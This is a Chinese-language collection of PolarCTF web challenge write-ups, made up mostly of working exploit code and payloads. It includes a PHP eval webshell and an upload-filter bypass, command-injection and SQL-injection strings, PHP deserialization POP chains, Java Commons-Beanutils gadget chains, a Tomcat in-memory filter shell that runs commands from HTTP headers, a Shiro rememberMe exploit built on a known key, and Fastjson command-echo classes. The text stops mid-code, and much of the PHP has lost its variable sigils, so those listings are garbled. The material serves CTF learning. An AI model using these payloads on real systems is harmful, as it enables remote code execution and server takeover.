PolarCTF WEB 题解(03)

PolarCTF WEB 题解(03)

upload

100 分 1 Polar币
上传木马, 双写绕过改名,mm.phphpp

干正则

100 分 1 Polar币

?id=a[]%3Dwww.polarctf.com%26a[]%3Dwww.polarctf.com%26a[]%3Dwww.baidu.com&cmd=;ls
?id=a[]%3Dwww.polarctf.com%26a[]%3Dwww.polarctf.com%26a[]%3Dwww.baidu.com&cmd=;ls;cat fla*|base64;

苦海
500 分 5 Polar币

unserialize()

└─▶ User::__wakeup()

└─▶ User::printName()

└─▶ 访问 name (Surrender对象)

└─▶ Surrender::__toString()

└─▶ 访问
file[‘filename’]->content (触发__get)

└─▶ FileRobot::__get()

└─▶ 调用 path() (触发__invoke)

└─▶ FileRobot::__invoke()

└─▶ FileRobot::Get_file(‘flag.php’)

“`PHP
<?php
class User {
publicname;
public flag;
}

class Surrender {
privatephone = 110;
public promise;
public
file; // 动态添加的关键属性
}

class FileRobot {
public filename;
public
path;
}

// 构造利用链
fileRobot = new FileRobot();fileRobot->filename = '../flag.php'; // 目标文件(上一目录)
fileRobot->path =fileRobot; // 指向自身触发__invoke

surrender = new Surrender();surrender->file = ['filename' => fileRobot]; // 触发FileRobot::__getuser = new User();
user->name =surrender; // 触发Surrender::__toString

// 生成序列化payload
payload = serialize(user);

// URL编码并输出payload
echo "URL编码后的Payload:\n";
echo urlencode(payload) . "\n\n";

// 原始payload(含不可见字符,复制时需注意)
echo "原始Payload:\n";
echopayload;
?>

“`

URL编码后的Payload:
O%3A4%3A%22User%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A9%3A%22Surrender%22%3A3%3A%7Bs%3A16%3A%22%00Surrender%00phone%22%3Bi%3A110%3Bs%3A7%3A%22promise%22%3BN%3Bs%3A4%3A%22file%22%3Ba%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A9%3A%22FileRobot%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A11%3A%22..%2Fflag.php%22%3Bs%3A4%3A%22path%22%3Br%3A6%3B%7D%7D%7Ds%3A4%3A%22flag%22%3BN%3B%7D

原始Payload:
O:4:”User”:2:{s:4:”name”;O:9:”Surrender”:3:{s:16:”Surrenderphone”;i:110;s:7:”promise”;N;s:4:”file”;a:1:{s:8:”filename”;O:9:”FileRobot”:2:{s:8:”filename”;s:11:”../flag.php”;s:4:”path”;r:6;}}}s:4:”flag”;N;}

你想逃也逃不掉

500 分 5 Polar币

a:3:{s:8:”username”;s:10:”aaaaaaaaaaphtmlphtmlphtmlphtml”;s:6:”passwd”;s:12:”bbbbbbbbbbbb”;s:4:”sign”;s:6:”123456″;}

a:3:{s:8:”username”;s:55:”aaaaaaaaaaphtmlphtmlphtmlphtmlphtmlphp4php4php4php4php4″;s:6:”passwd”;s:58:”bbbbbbbbbbbbphtmlphtmlphtmlphtmlphtmlphtmlphp4php4php4php4″;s:4:”sign”;s:6:”123456″;}

a:3:{s:8:”username”;s:55:”aaaaaaaaaa”;s:6:”passwd”;s:58:”bbbbbbbbbbbbp”;s:4:”sign”;s:6:”123456″;}

user[‘username’] = ‘aaaaaaaaaaphtmlphtmlphtmlphtmlphtmlphp4php4php4php4php4’;user[‘passwd’] = ‘bbbbbbbbbbbbbbbbbbbbbbbb”:bbbbbp”;s:6:”passwd”;s:5:”123456″;4:”sign”;s:6:”ytyyds”;}cccccc’;
user[‘sign’] = ‘123456’;

a:3:{s:8:”username”;s:55:”aaaaaaaaaaphtmlphtmlphtmlphtmlphtmlphp4php4php4php4php4″;s:6:”passwd”;s:89:”bbbbbbbbbbbbbbbbbbbbbbbb”:bbbbbp”;s:6:”passwd”;s:5:”123456″;4:”sign”;s:6:”ytyyds”;}cccccc”;s:4:”sign”;s:6:”123456″;}user[‘username’] = ‘aaaaaaaaaaphtmlphtmlphtmlphtmlphtmlphp4php4php4php4php4’;
user[‘passwd’] = ‘bbbbbbbbbbbbbbbbbbbbbbbb”;s:6:”passwd”;s:6:”123456″;4:”sign”;s:6:”ytyyds”;}cccccc’;user[‘sign’] = ‘123456’;

name=aaaaaaaaaaphtmlphtmlphtmlphtmlphtmlphp4php4php4php4php4
?passwd=bbbbbbbbbbbbbbbbbbbbbbbb”;s:6:”passwd”;s:0:””;s:4:”sign”;s:6:”ytyyds”;}

user->username=’phtmlphtmlphtmlphtml’;user->passwd=’;s:6:”passwd”;s:0:””;s:4:”sign”;s:6:”ytyyds”;}’;

原始Payload:
a:3:{s:8:”username”;s:20:”phtmlphtmlphtmlphtml”;s:6:”passwd”;s:46:”;s:6:”passwd”;s:0:””;s:4:”sign”;s:6:”ytyyds”;}”;s:4:”sign”;s:6:”123456″;}
a:3:{s:8:”username”;s:20:””;s:6:”passwd”;s:46:”;s:6:”passwd”;s:0:””;s:4:”sign”;s:6:”ytyyds”;}”;s:4:”sign”;s:6:”123456″;}

你的马呢

300 分 3 Polar币

base64 –> PD9waHAgZXZhbCgkX1BPU1RbInBhc3MiXSk7Pz4
uploads/bas64.jpg
/index.php?file=uploads/bas64.jpg
/index.php?file=php://filter/convert.base64-decode/resource=uploads/bas64.jpg

pass=system(“cat /flag.txt”);

ezphp

300 分 3 Polar币

/robots.txt
/uploads/upload.php
上传png木马
/file/file.php?filename=../uploads/images/mm.png
ome/webuser >ls -ltr

total 4
-rw-r–r– 1 root root 438 Nov 23 2023 flag
/home/webuser >cat flag

随机值

300 分 3 Polar币

<?php
class Index{
    private Polar1 = 1;
    privatePolar2 = 1;
    protected Night = 1;
    protectedLight = 1;
function getflag(flag)
{Polar2 = rand(0, 100);
    if (this->Polar1 ===this->Polar2) {
        Light = rand(0, 100);
        if (this->Night === this->Light) {
            echoflag;
        }
    } else {
        echo "Your wrong!!!";
    }
}
}
a = new Index();
echo urlencode(serialize(a));
echo "\n";
echo serialize($a);
?>

O%3A5%3A%22Index%22%3A4%3A%7Bs%3A13%3A%22%00Index%00Polar1%22%3Bi%3A1%3Bs%3A13%3A%22%00Index%00Polar2%22%3Bi%3A1%3Bs%3A8%3A%22%00%2A%00Night%22%3Bi%3A1%3Bs%3A8%3A%22%00%2A%00Light%22%3Bi%3A1%3B%7D
O:5:”Index”:4:{s:13:”IndexPolar1″;i:1;s:13:”IndexPolar2″;i:1;s:8:”Night”;i:1;s:8:”Light”;i:1;}

safe_include

500 分 5 Polar币

?xxs=
find sessionid
?xxs=/tmp/sess_37iqjv73dcegi3odqe3bqrmi46
pass=system(“ls”);

phpurl

300 分 3 Polar币
urlecode twice:xxs
/index.php?sys=%25%37%38%25%37%38%25%37%33

cool

100 分 1 Polar币

?a=passthru(“cat fla*”);

CB链

500 分 5 Polar币

【2023冬季个人挑战赛】

下载CB.jar

下载ysoserial, IDEA中打开工程,

在/src/main/java/ysoserial目录下创建cd目录,

将CB.jar放到该目录下,选择,点击邮件,Add as library.

则可以看到源码了。

展开,看

META-INF\maven.rg.example.PolarCTF_CB\pom.xml

存在:

       <dependency>
            <groupId>commons-beanutils</groupId>
            <artifactId>commons-beanutils</artifactId>
            <version>1.9.2</version>
        </dependency>

在cb下写

不出网利用(动态类加载)首先需要简单改造一下ysoserial定义一个类加载器:MyClassLoader

Exp2.java Poc2.jave  MyClassLoader.java

然后在ysoserial.payloads.util包的Gadgets类中照着原有的createTemplatesImpl方法添加一个createTemplatesImpl(Class c),参数即为我们要让服务端加载的类,如下直接将传入的c转换为字节码赋值给了_bytecodes

public class Gadgets {
    。。。。
    public static <T> T createTemplatesImpl(Class c) throws Exception {
        Class<T> tplClass = null;
        if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
            tplClass = (Class<T>) Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
        }else{
            tplClass = (Class<T>) TemplatesImpl.class;
        }
        final T templates = tplClass.newInstance();
        final byte[] classBytes = ClassFiles.classAsBytes(c);
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes
        });

        Reflections.setFieldValue(templates, "_name", "Pwnr");
        return templates;
    }
}

Poc2.java

package ysoserial.cb;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.util.Base64;
import java.util.PriorityQueue;

import ysoserial.payloads.util.Reflections;

public class Poc2 {
    public static void main(String[] args) throws Exception {
        final TemplatesImpl templates = Gadgets.createTemplatesImpl(MyClassLoader.class);
        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add("1");
        queue.add("1");
        Reflections.setFieldValue(comparator, "property", "outputProperties");

        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = templates;

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(queue);

        byte[] bytes = byteArrayOutputStream.toByteArray();

        System.out.println(Base64.getEncoder().encodeToString(bytes));
    }
}

Exp2.java

package ysoserial.cb;

import javax.servlet.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.stream.Collectors;

public class Exp2 implements javax.servlet.Filter{
    private javax.servlet.http.HttpServletRequest request = null;
    private org.apache.catalina.connector.Response response = null;
    private javax.servlet.http.HttpSession session =null;

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }
    public void destroy() {}
    @Override
    public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain filterChain) throws IOException, ServletException {
        javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)request1;
        javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse)response1;
        javax.servlet.http.HttpSession session = request.getSession();
        String cmd = request.getHeader("Polar-CMD");
        System.out.println(cmd);
        if (cmd != null) {
            //System.out.println("1");
            response.setHeader("Polar-START", "OK");
            // 使用 ProcessBuilder 执行命令
            Process process = new ProcessBuilder(cmd.split("\\s+"))
                .redirectErrorStream(true)
                .start();
            //System.out.println("2");
            // 获取命令执行的输入流
            InputStream inputStream = process.getInputStream();

            // 使用 Java 8 Stream 将输入流转换为字符串
            String result = new BufferedReader(new InputStreamReader(inputStream))
                .lines()
                .collect(Collectors.joining(System.lineSeparator()));
            System.out.println("3");
            response.setHeader("Polar-RESULT",result);

        } else {
            filterChain.doFilter(request, response);
        }
    }

    public boolean equals(Object obj) {
        Object[] context=(Object[]) obj;
        this.session = (javax.servlet.http.HttpSession ) context[2];
        this.response = (org.apache.catalina.connector.Response) context[1];
        this.request = (javax.servlet.http.HttpServletRequest) context[0];

        try {
            dynamicAddFilter(new Exp2(),"Shell","/*",request);
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }

        return true;
    }

    public static void dynamicAddFilter(javax.servlet.Filter filter,String name,String url,javax.servlet.http.HttpServletRequest request) throws IllegalAccessException {
        javax.servlet.ServletContext servletContext=request.getServletContext();
        if (servletContext.getFilterRegistration(name) == null) {
            java.lang.reflect.Field contextField = null;
            org.apache.catalina.core.ApplicationContext applicationContext =null;
            org.apache.catalina.core.StandardContext standardContext=null;
            java.lang.reflect.Field stateField=null;
            javax.servlet.FilterRegistration.Dynamic filterRegistration =null;

            try {
                contextField=servletContext.getClass().getDeclaredField("context");
                contextField.setAccessible(true);
                applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);
                contextField=applicationContext.getClass().getDeclaredField("context");
                contextField.setAccessible(true);
                standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);
                stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
                stateField.setAccessible(true);
                stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);
                filterRegistration = servletContext.addFilter(name, filter);
                filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{url});
                java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
                filterStartMethod.setAccessible(true);
                filterStartMethod.invoke(standardContext, null);
                stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
            }catch (Exception e){
            }finally {
                stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
            }
        }
    }
}

运行Poc2.main(),得到/user?user=xxxx (要URL编码一下,只特殊字符转换)

“`class -> bytes
cat Exp2.class |base64|sed ':label;N;s/\n//;b label'

<pre><code class="line-numbers">构造完的请求包为,期中user后面的参数为Poc2运行出来的payload,
classData为Exp.class2文件中读出来的base64。

这个发现一个问题,windows和linux下不一样,还是不要用为好,直接给出java转换好了:

“`java
package ysoserial.cb;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class ClassData {
public static void main(String[] args) {
String payload = null;
try{
byte[] bytes = Files.readAllBytes(Paths.get(“D:\\ctf\\workspace\\javaprj\\ysoserial\\target\\classes\\ysoserial\\cb\\Exp2.class”));
payload = Base64.getEncoder().encodeToString(bytes);
}catch (IOException e){
e.printStackTrace();
}
System.out.println(payload);
}
}

运行ClassData.main(),得到 classData=yyyyy (要URL编码一下,只特殊字符转换)

本地调试 CB.jar 报错:

2025-10-07 13:17:26.677 ERROR 73424 --- [nio-8090-exec-6] o.a.c.c.C.[.[.[/].[dispatcherServlet]    : Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is java.lang.RuntimeException: IllegalAccessException: java.lang.IllegalAccessException: class org.apache.commons.beanutils.PropertyUtilsBean cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.trax to unnamed module @3b6eb2ec] with root cause

java.lang.RuntimeException: IllegalAccessException: java.lang.IllegalAccessException: class org.apache.commons.beanutils.PropertyUtilsBean cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.trax to unnamed module @3b6eb2ec
    at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:168) ~[commons-beanutils-1.9.2.jar!/:1.9.2]
    at java.base/java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:712) ~[na:na]

Explain:

在Java中,java.xml 不是一个标准的模块名称,这可能是你遇到的一个混淆点。实际上,Java中处理XML的库通常是通过javax.xml包来访问的,这是Java标准库的一部分。如果你在尝试使用与XML相关的功能时遇到了“module java.xml does not export”这样的错误,这通常是因为你正在使用Java 9或更高版本,这些版本引入了模块系统(也称为JPMS,即Java Platform Module System)。

原来是用的java版本太高,换成

D:\Java\jdk1.8.0_351\bin\java -Dserver.port=8090 -jar CB.jar > 1.log 2>&1

Post :

POST /user?user=rO0ABXNyABdqYXZhLnV.......AACQAC9wDfBwBTDAACAFQAAAACAFUAqAAAAAoAAQBvAG0ApwAJcHQABFB3bnJwdwEAeHEAfgANeA%3d%3d HTTP/1.1
Host: 0d498319-9258-4037-a312-af728e891d3f.www.polarctf.com:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encode: gzip, delflate
Accept-Language: zh-CN,zh;q=0.9
Polar-CMD: cat flag
Content-Length: 8486

classData=yv66vgAAADQB........AcAcgcAcgcAbwcAlQAAAFcAAAAEAAEAKgACAJwAAAACAJ0AjAAAAAoAAQCKAPAAiwYJ
Polar-CMD: ls
Polar-CMD: cat flag

phar

500 分 5 Polar币

?file=php://filter/convert.base64-encode/resource=funs.php

结果注意如何拷贝齐全,要完整输出里取拷贝

cat 1.txt|base64 -d > 2.txt

发现反序列化漏洞:构造pop链

A::_destruct->B::_tostring->_get

https://www.bejson.com/runcode/php/

<?php
class A
{
    public a;
    public function __construct()
    {this->a=new B();//触发_tostring
    }
}

class B
{
    public b = array();
    public function __construct()
    {this->b=array("kfc"=>new C());//触发_get
    }
}
class C{
    public c = array();
    public function __construct()
    {this->c=array("vm50"=>"flag");//变量覆盖flag
    }
}
A=new A();

echo urlencode(serialize(A));
?>

O%3A1%3A%22A.....

?file=f1@g&data=O%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A1%3A%22b%22%3Ba%3A1%3A%7Bs%3A3%3A%22kfc%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A1%3A%22c%22%3Ba%3A1%3A%7Bs%3A4%3A%22vm50%22%3Bs%3A4%3A%22flag%22%3B%7D%7D%7D%7D%7D

PHP_Deserialization

500 分 5 Polar币

发现反序列化漏洞:构造pop链

构造链子:

反序列化:提交Payload触发Polar::__wakeup。
反序列化触发:Polar::__wakeup调用night->hacker(night_arg)。
魔术方法调用:Night::__call处理不存在的方法hacker,参数$night_arg是Day对象。
字符串转换:将Day对象转为字符串触发Day::__toString。
文件读取绕过:filename设置为/flflagag,替换后得到/flag,成功读取目标文件。

https://www.bejson.com/runcode/php/

<?php
class Polar {
    public night;
    publicnight_arg;
}

class Night {}

class Day {
    public filename = "/flflagag";  // 关键
}day = new Day();
night = new Night();polar = new Polar();
polar->night =night;
polar->night_arg =day;

serialized = serialize(polar);
payload = base64_encode(serialized);
echo $payload;
?>


   polar=Tzo1OiJQb2xhciI6Mjp7czo1OiJuaWdodCI7Tzo1OiJOaWdodCI6MDp7fXM6OToibmlnaHRfYXJnIjtPOjM6IkRheSI6MTp7czo4OiJmaWxlbmFtZSI7czo5OiIvZmxmbGFnYWciO319  

PolarOA

500 分 5 Polar币

java Siron 反序列化漏洞

登录,例如a,a ,抓包,看到响应中有:
Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; 

运行shiro_attach

d:\java\jdk1.8.0_351\bin\java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar

爆破得到密钥:

[++] 存在shiro框架!
[++] 找到key:kPH+bIxk5D2deZiIxcaaaA==
[+] 爆破结束
[-] 测试:CommonsBeanutilsString  回显方式: TomcatEcho

但利用链爆破不出来,因为对cookie长度限制了。

 <!-- PolarOA -->
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
            <version>1.2.4</version>
        </dependency>
        <dependency>
            <groupId>commons-beanutils</groupId>
            <artifactId>commons-beanutils</artifactId>
            <version>1.8.3</version>
        </dependency>

DynamicClassGenerator.java

package ysoserial.polaror;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import java.lang.reflect.Field;

public class DynamicClassGenerator {
    public static CtClass genPayloadForWin() throws NotFoundException, CannotCompileException {
        ClassPool classPool = ClassPool.getDefault();
        CtClass clazz = classPool.makeClass("Exp");
        if ((clazz.getDeclaredConstructors()).length != 0) {
            clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
        }
        String s= "public SpringEcho() throws Exception {\n" +
            "        try{\n" +
            "            org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
            "            javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
            "            javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
            "            String te = httprequest.getHeader(\"Host\");\n" +
            "            httpresponse.addHeader(\"Host\",te);\n" +
            "            String tc =  httprequest.getHeader(\"CMD\");\n" +
            "            if ( tc != null && !tc.isEmpty()) {\n" +
            "                String[] cmd = new String[]{\"/cmd.exe\",\"/c\",tc};\n" +
            "                byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\\\\\A\").next().getBytes();\n" +
            "                httpresponse.getWriter().write(new String(result));\n" +
            "            }\n" +
            "            httpresponse.getWriter().flush();\n" +
            "            httpresponse.getWriter().close();\n" +
            "        } catch (Exception e) {\n" +
            "            e.getStackTrace();\n" +
            "        }\n" +
            "    }";
        clazz.addConstructor(CtNewConstructor.make(s, clazz));
        // 兼容低版本jdk
        clazz.getClassFile().setMajorVersion(50);
        CtClass superClass = classPool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        return clazz;
    }

    public static CtClass genPayloadForLinux() throws NotFoundException, CannotCompileException {
        ClassPool classPool = ClassPool.getDefault();
        CtClass clazz = classPool.makeClass("Exp");
        if ((clazz.getDeclaredConstructors()).length != 0) {
            clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
        }
        String s= "public SpringEcho() throws Exception {\n" +
            "        try{\n" +
            "            org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
            "            javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
            "            javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
            "            String te = httprequest.getHeader(\"Host\");\n" +
            "            httpresponse.addHeader(\"Host\",te);\n" +
            "            String tc =  httprequest.getHeader(\"CMD\");\n" +
            "            if ( tc != null && !tc.isEmpty()) {\n" +
            "                String[] cmd = new String[]{\"/bin/sh\",\"-c\",tc};\n" +
            "                byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\\\\\A\").next().getBytes();\n" +
            "                httpresponse.getWriter().write(new String(result));\n" +
            "            }\n" +
            "            httpresponse.getWriter().flush();\n" +
            "            httpresponse.getWriter().close();\n" +
            "        } catch (Exception e) {\n" +
            "            e.getStackTrace();\n" +
            "        }\n" +
            "    }";
        clazz.addConstructor(CtNewConstructor.make(s, clazz));
        // 兼容低版本jdk
        clazz.getClassFile().setMajorVersion(50);
        CtClass superClass = classPool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        return clazz;
    }


    public static CtClass genPayloadForLinux2() throws NotFoundException, CannotCompileException {
        ClassPool classPool = ClassPool.getDefault();
        CtClass clazz = classPool.makeClass("A");
        if ((clazz.getDeclaredConstructors()).length != 0) {
            clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
        }
        clazz.addConstructor(CtNewConstructor.make("public B() throws Exception {\n" +
            "                org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
            "                javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
            "                javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
            "                String[] cmd =  new String[]{\"sh\", \"-c\", httprequest.getHeader(\"CMD\")};\n" +
            "                byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
            "                httpresponse.getWriter().write(new String(result));\n" +
            "                httpresponse.getWriter().flush();\n" +
            "                httpresponse.getWriter().close();\n" +
            "        }", clazz));

        // 兼容低版本jdk
        clazz.getClassFile().setMajorVersion(50);
        CtClass superClass = classPool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        return clazz;
    }

    public static CtClass genPayloadForLinuxExec(String cmd) throws NotFoundException, CannotCompileException {
        ClassPool classPool = ClassPool.getDefault();
        CtClass clazz = classPool.makeClass("Exe");

        if ((clazz.getDeclaredConstructors()).length != 0) {
            clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
        }

        clazz.addConstructor(CtNewConstructor.make("public SpringEco() throws Exception {\n" +
            "        try {\n" +
            "            String tc = \"" + cmd + "\";\n" +
            "            String[] cmd = new String[]{\"/bin/bash\", \"-c\", tc};\n" +
            "            new ProcessBuilder(cmd).start();\n" +
            "        }catch (Exception e){\n" +
            "            e.getStackTrace()\n" +
            "        }", clazz));

        // 兼容低版本jdk
        clazz.getClassFile().setMajorVersion(50);
        CtClass superClass = classPool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        return clazz;
    }
    public static TemplatesImpl getTemplate() throws Exception {
        CtClass clz = genPayloadForLinux2();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clz.toBytecode()});
        setFieldValue(obj, "_name", "a");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        return obj;
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }


}

Poc.java

package ysoserial.polaror;


import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.PriorityQueue;

import static ysoserial.payloads.util.Reflections.setFieldValue;

public class Poc {
    public static void main(String[] args) throws Exception {

        final com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl templates = getTemplate();

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        // 生成序列化字符串
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(queue);
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));//替换为爆破的新shiro密钥
        byte[] bytes = byteArrayOutputStream.toByteArray();

        // System.out.println(aes.encrypt(bytes, key));
        ByteSource chiphertext;
        chiphertext = aes.encrypt(bytes, key);
        System.out.println(chiphertext);
    }

    public static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl getTemplate() throws Exception {
        DynamicClassGenerator classGenerator = new DynamicClassGenerator();
        CtClass clz = classGenerator.genPayloadForLinux();
        com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl obj = new com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clz.toBytecode()});
        setFieldValue(obj, "_name", "a");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        return obj;
    }

}

Send Get request:

注意:cookie数据不要url转码,开始转码,导致报错了,原样就好了。

GET / HTTP/1.1
Host: 7f5d0c2b-98bf-427b-93a5-b38d7a727996.www.polarctf.com:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
CMD: cat flag
Cookie: rememberMe=HGTgdxhepEbYYVMdfHhblr0LkKaagOIku8ZaK76HqsBKSTXBE3e1qBITl93ijDGtQStMyk9qTxAB/Hoei5sRmIc+vpokmXl1scwwIIFLl6k6HtjtOxi98gaQuxiSPzRv7FFpXIgK+GJ+MA=   <--BU-YAO-URL-TRANS--


search

300 分 3 Polar币

【2024春季个人挑战赛】

query=1'/**/or/**/1=1#
query=1'/**/uNion/**/Select/**/1,2,3,4,5#
query=1'/**/uNion/**/Select/**/1,group_concat(Flag),3,4,5/**/From/**/Flag#

Fastjson

500 分 5 Polar币

【2024春季个人挑战赛】

shell2.java

package ysoserial.fastjson;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Shell2 extends AbstractTranslet {
    public Shell2(){
        try {
            org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
            javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();
            javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
            String[] cmd =  new String[]{"sh", "-c", httprequest.getHeader("C")};
            byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
            httpresponse.getWriter().write(new String(result));
            httpresponse.getWriter().flush();
            httpresponse.getWriter().close();
        }catch (IOException e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

Gen payload

package ysoserial.fastjson;

import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectOutputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class Poc {
    public static void main(String[] args) {
        String shell = null;
        try{
